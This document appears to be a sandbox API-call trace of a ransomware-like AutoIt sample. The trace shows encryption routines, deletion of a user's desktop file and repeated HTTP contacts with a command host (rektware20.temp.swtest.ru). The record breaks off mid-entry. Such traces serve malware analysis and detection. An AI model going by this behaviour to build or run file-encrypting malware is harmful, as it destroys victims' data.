[0077.721] CryptDestroyKey (hKey=0x164c2f0) returned 1 [0077.721] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0077.721] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0077.721] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0077.721] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0077.721] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0077.721] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0077.721] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0077.721] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0077.722] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0077.722] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0077.722] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0077.722] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0077.722] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0077.722] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0077.722] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.722] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0077.722] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.722] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0077.722] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0077.722] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0077.722] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.722] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0077.722] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0077.722] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.722] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0077.723] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0077.723] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0077.723] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0077.723] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0077.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0077.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0077.723] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0077.723] CryptReleaseContext (hProv=0x1632100, dwFlags=0x0) returned 1 [0077.723] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.723] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0077.723] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0077.723] FreeLibrary (hLibModule=0x74c60000) returned 1 [0077.723] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.724] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.724] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.724] CloseHandle (hObject=0x3d8) returned 1 [0077.725] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.725] CloseHandle (hObject=0x3c8) returned 1 [0077.743] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.743] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0077.743] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\RlXBpt7ZePQIJwB.mkv", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\RlXBpt7ZePQIJwB.mkv", lpFilePart=0x0) returned 0x31 [0077.743] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\RlXBpt7ZePQIJwB.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\rlxbpt7zepqijwb.mkv")) returned 0x20 [0077.744] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\RlXBpt7ZePQIJwB.mkv", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c830 [0077.744] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\RlXBpt7ZePQIJwB.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\rlxbpt7zepqijwb.mkv")) returned 1 [0077.771] FindNextFileW (in: hFindFile=0x164c830, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0077.771] FindClose (in: hFindFile=0x164c830 | out: hFindFile=0x164c830) returned 1 [0077.771] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0077.772] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0077.772] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0077.772] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0077.772] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SBjuSc2 2k8Dl1Su.jpg", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d130 [0077.772] FindClose (in: hFindFile=0x164d130 | out: hFindFile=0x164d130) returned 1 [0077.772] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0077.782] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0077.782] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0077.782] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0077.782] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0077.783] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620dc0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620dc0, lpdwBufferLength=0x130ef8c) returned 1 [0077.783] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0077.783] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0077.783] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0077.783] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0077.783] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0077.783] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0077.783] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629130, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629130*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0077.784] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629150, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629150*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0077.784] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0077.784] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0077.784] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0077.784] CloseHandle (hObject=0x0) returned 0 [0077.784] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SBjuSc2 2k8Dl1Su.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.784] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Desktop\\SBjuSc2 2k8Dl1Su.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.784] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Desktop\\SBjuSc2 2k8Dl1Su.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.784] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Desktop\\SBjuSc2 2k8Dl1Su.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.784] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Desktop\\SBjuSc2 2k8Dl1Su.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.784] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Desktop\\SBjuSc2 2k8Dl1Su.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.784] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Desktop\\SBjuSc2 2k8Dl1Su.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.784] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Desktop\\SBjuSc2 2k8Dl1Su.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.784] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Desktop\\SBjuSc2 2k8Dl1Su.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.784] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Desktop\\SBjuSc2 2k8Dl1Su.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.784] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Desktop\\SBjuSc2 2k8Dl1Su.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.784] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Desktop\\SBjuSc2 2k8Dl1Su.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Desktop\\SBjuSc2 2k8Dl1Su.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Desktop\\SBjuSc2 2k8Dl1Su.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Desktop\\SBjuSc2 2k8Dl1Su.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Desktop\\SBjuSc2 2k8Dl1Su.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Desktop\\SBjuSc2 2k8Dl1Su.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Desktop\\SBjuSc2 2k8Dl1Su.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Desktop\\SBjuSc2 2k8Dl1Su.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Desktop\\SBjuSc2 2k8Dl1Su.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Desktop\\SBjuSc2 2k8Dl1Su.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Desktop\\SBjuSc2 2k8Dl1Su.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Desktop\\SBjuSc2 2k8Dl1Su.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="esktop\\SBjuSc2 2k8Dl1Su.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sktop\\SBjuSc2 2k8Dl1Su.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ktop\\SBjuSc2 2k8Dl1Su.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="top\\SBjuSc2 2k8Dl1Su.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="op\\SBjuSc2 2k8Dl1Su.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="p\\SBjuSc2 2k8Dl1Su.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\SBjuSc2 2k8Dl1Su.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SBjuSc2 2k8Dl1Su.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BjuSc2 2k8Dl1Su.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="juSc2 2k8Dl1Su.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="uSc2 2k8Dl1Su.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Sc2 2k8Dl1Su.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="c2 2k8Dl1Su.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2 2k8Dl1Su.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" 2k8Dl1Su.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0077.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2k8Dl1Su.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="k8Dl1Su.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="8Dl1Su.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Dl1Su.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="l1Su.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1Su.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Su.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.785] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="u.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0077.786] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0077.786] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0077.786] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0077.786] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0077.786] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0077.786] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0077.786] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0077.786] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0077.786] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0077.786] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620ec8, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620ec8, lpdwBufferLength=0x130ee1c) returned 1 [0077.786] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0077.786] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0077.786] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0077.787] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0077.787] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0077.787] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0077.787] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16291a0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0077.787] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16293c0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16293c0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0077.787] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0077.787] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0077.787] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0077.787] CloseHandle (hObject=0x0) returned 0 [0077.787] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.788] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\SBjuSc2 2k8Dl1Su.jpg", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cab0 [0077.788] FindClose (in: hFindFile=0x164cab0 | out: hFindFile=0x164cab0) returned 1 [0077.788] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0077.788] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0077.788] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.788] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0077.788] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0077.788] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.788] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0077.788] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.789] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0077.789] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0077.789] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0077.789] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0077.789] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, 